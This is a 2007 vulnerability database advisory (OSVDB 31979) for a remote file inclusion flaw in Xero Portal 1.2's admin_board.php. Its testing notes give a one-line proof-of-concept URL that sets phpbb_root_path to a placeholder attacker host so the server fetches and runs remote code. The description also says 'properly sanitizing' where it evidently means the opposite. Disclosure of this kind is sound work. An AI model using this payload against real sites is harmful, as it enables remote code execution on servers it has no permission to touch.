Xero Portal admin_board.php phpbb_root_path Variable Remote File Inclusion

2007-01-25T09:03:49
ID OSVDB:31979
Type osvdb
Reporter xoron (Mehmet Ince)(xorontr@gmail.com)
Modified 2007-01-25T09:03:49

Description

Vulnerability Description

Xero Portal 1.2 contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to admin_board.admin_attachments.php properly sanitizing user input supplied to the phpbb_root_path variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Xero Portal 1.2 contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to admin_board.admin_attachments.php properly sanitizing user input supplied to the phpbb_root_path variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[script_pat]/admin/admin_board.php?phpbb_root_path=http://[attacker]?

References:

Secunia Advisory ID:23952 Related OSVDB ID: 31980 Related OSVDB ID: 31981 Related OSVDB ID: 31634 Related OSVDB ID: 31977 Related OSVDB ID: 31978 Other Advisory URL: http://milw0rm.com/exploits/3192 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0576.html ISS X-Force ID: 31767 FrSIRT Advisory: ADV-2007-0338 CVE-2007-0561 Bugtraq ID: 22227